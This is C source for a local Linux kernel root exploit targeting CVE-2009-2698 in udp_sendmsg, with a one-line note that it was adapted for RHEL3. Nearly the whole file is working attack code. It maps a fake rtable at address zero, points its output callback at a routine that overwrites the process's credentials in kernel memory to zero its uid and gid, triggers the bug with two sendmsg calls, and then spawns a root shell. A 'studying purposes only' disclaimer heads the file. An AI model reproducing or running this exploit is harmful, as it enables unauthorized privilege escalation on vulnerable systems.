Based on existing exploit, modified for RHEL3.
/*********************************************************** * hoagie_udp_sendmsg.c * LOCAL LINUX KERNEL ROOT EXPLOIT (< 2.6.19) - CVE-2009-2698 * * udp_sendmsg bug exploit via (*output) callback function * used in dst_entry / rtable * * Bug reported by Tavis Ormandy and Julien Tinnes * of the Google Security Team * modified by jano for RH 3.1 * * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF- * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY * DAMAGE DONE USING THIS PROGRAM. * * VOID.AT Security * andi@void.at * http://www.void.at * ************************************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/socket.h> #include <sys/mman.h> static int esp = 0; unsigned char stack[8192]; int uid, gid; /** * this code will be called from NF_HOOK via (*output) callback in kernel mode */ void set_current_task_uids_gids_to_zero() { asm( "push %%eax\n" "push %%edx\n" "movl %%esp, %%eax\n" "movl %%eax, %0\n" : "=r"(esp) ); /* "movl $0xffffe000, %eax\n" "andl %esp, %eax\n" "movl (%eax), %eax\n" "movl $0x0, 0x150(%eax)\n" "movl $0x0, 0x154(%eax)\n" "movl $0x0, 0x158(%eax)\n" "movl $0x0, 0x15a(%eax)\n" "movl $0x0, 0x160(%eax)\n" "movl $0x0, 0x164(%eax)\n" "movl $0x0, 0x168(%eax)\n" "movl $0x0, 0x16a(%eax)\n"*/ //"pop %eax\n"); esp = esp & (~8191); int i; for (i=0;i<8192;i++) { stack[i] = *(unsigned char *)(esp+i); } uint *p = (unsigned int *)esp; for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; } asm( "pop %edx\n" "pop %eax\n" ); } int main(int argc, char **argv) { int s; struct msghdr header; struct sockaddr_in sin; char *rtable = NULL; uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid); fprintf(stderr, "hoagie_udp_sendmsg.c - linux root <= 2.6.19 local\n" "-andi / void.at\n\n"); s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) { fprintf(stderr, "[*] can't create socket\n"); exit(-1); } /** * initialize required variables */ memset(&header, 0, sizeof(struct msghdr)); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr("127.0.0.1"); sin.sin_port = htons(22); header.msg_name = &sin; header.msg_namelen = sizeof(sin); /** * and this is the trick: * we can use (*output)(struct sk_buff*) from dst_entry (used by rtable) as a callback (=> offset 0x74) * so we map our rtable buffer at offset 0 and set output callback function * * struct dst_entry * { * struct dst_entry *next; * atomic_t __refcnt; client references * int __use; * struct dst_entry *child; * struct net_device *dev; * short error; * short obsolete; * int flags; * #define DST_HOST 1 * #define DST_NOXFRM 2 * #define DST_NOPOLICY 4 * #define DST_NOHASH 8 * #define DST_BALANCED 0x10 * unsigned long lastuse; * unsigned long expires; * * unsigned short header_len; * more space at head required * * unsigned short trailer_len; * space to reserve at tail * * * u32 metrics[RTAX_MAX]; * struct dst_entry *path; * * unsigned long rate_last; * rate limiting for ICMP * * unsigned long rate_tokens; * * struct neighbour *neighbour; * struct hh_cache *hh; * struct xfrm_state *xfrm; * * int (*input)(struct sk_buff*); * int (*output)(struct sk_buff*); * * #ifdef CONFIG_NET_CLS_ROUTE * __u32 tclassid; * #endif * * struct dst_ops *ops; * struct rcu_head rcu_head; * * char info[0]; * }; * * struct rtable * { * union * { * struct dst_entry dst; * struct rtable *rt_next; * } u; * * struct in_device *idev; * * unsigned rt_flags; * __u16 rt_type; * __u16 rt_multipath_alg; * * __be32 rt_dst; * Path destination * * __be32 rt_src; * Path source * * int rt_iif; * * * Info on neighbour * * __be32 rt_gateway; * * * Cache lookup keys * * struct flowi fl; * * * Miscellaneous cached information * * __be32 rt_spec_dst; * RFC1122 specific destination * * struct inet_peer *peer; * long-living peer info * * }; * */ rtable = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (rtable == MAP_FAILED) { fprintf(stderr, "[*] mmap failed\n"); exit(-1); } printf("ok\n"); /* int a=0; for(a=0;a<4096;a++) { *(unsigned char *)(rtable+a) = 0x40; } */ //for(a=0x78;a<0x90;a+=4) //{ // *(unsigned char *)(rtable+a) = a+0x70; //} *(int *)(rtable + 0x78) = (int)set_current_task_uids_gids_to_zero; printf("%p\n", set_current_task_uids_gids_to_zero); /* trigger exploit * * the second sendmsg() call will call ip_append_data() with rt == NULL * because of: * if (up->pending) { * * * * There are pending frames. * * The socket lock must be held while it's corked. * * * lock_sock(sk); * if (likely(up->pending)) { * if (unlikely(up->pending != AF_INET)) { * release_sock(sk); * return -EINVAL; * } * goto do_append_data; * } * release_sock(sk); * } * */ sendmsg(s, &header, MSG_MORE|MSG_PROXY); sendmsg(s, &header, 0); close(s); /* printf("esp: %p\n", esp); int b=0; for (b=0;b<8192;b+=16) { int c = 0; for (c=b;c<b+16;c++) { printf("%02x ", stack[c]); } printf("\n"); } */ system("/bin/sh"); return 0; }